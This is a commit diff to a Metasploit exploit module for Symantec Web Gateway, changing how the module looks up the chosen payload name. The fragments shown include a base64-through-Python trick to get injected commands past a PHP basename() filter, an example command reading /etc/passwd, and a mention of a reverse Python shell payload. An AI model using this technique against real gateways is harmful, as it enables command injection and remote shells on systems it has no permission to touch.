Use datastore to find payload name

Author: wchen-r7

modules/exploits/linux/http/symantec_web_gateway_restore.rb

@@ -140,7 +140,7 @@ def build_payload
     # * cmd/unix/reverse_python_ssl
     p = payload.encoded
 
-    case current_payload_name
+    case datastore['PAYLOAD']
     when /cmd\/unix\/generic/
       # Filter that one out, Mr. basename()
       p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))")
@@ -218,18 +218,6 @@ def save_cred(username, password)
     create_credential_login(login_data)
   end
 
-  def current_payload_name
-    # pinst is a protected method so modules should not access it like this.
-    # But command injection is sort of unfriendly because the vulnerable PHP file filters out our
-    # input with a basename() function. So for example if you do cat /etc/passwd > /tmp/data.txt,
-    # your command won't work. To get around that, we need to Base64 the command, and let Python do
-    # the work. But to do this, I have to know if the user is actually using the cmd/unix/generic or not.
-    # One of the downsides I am aware of is that if this payload's fullname is changed due to whatever
-    # reason, the support can break (but the user still at least should be able to use the reverse
-    # python shell).
-    payload.send(:pinst).fullname
-  end
-
   def exploit
     print_status("Getting the PHPSESSID...")
     sid = get_sid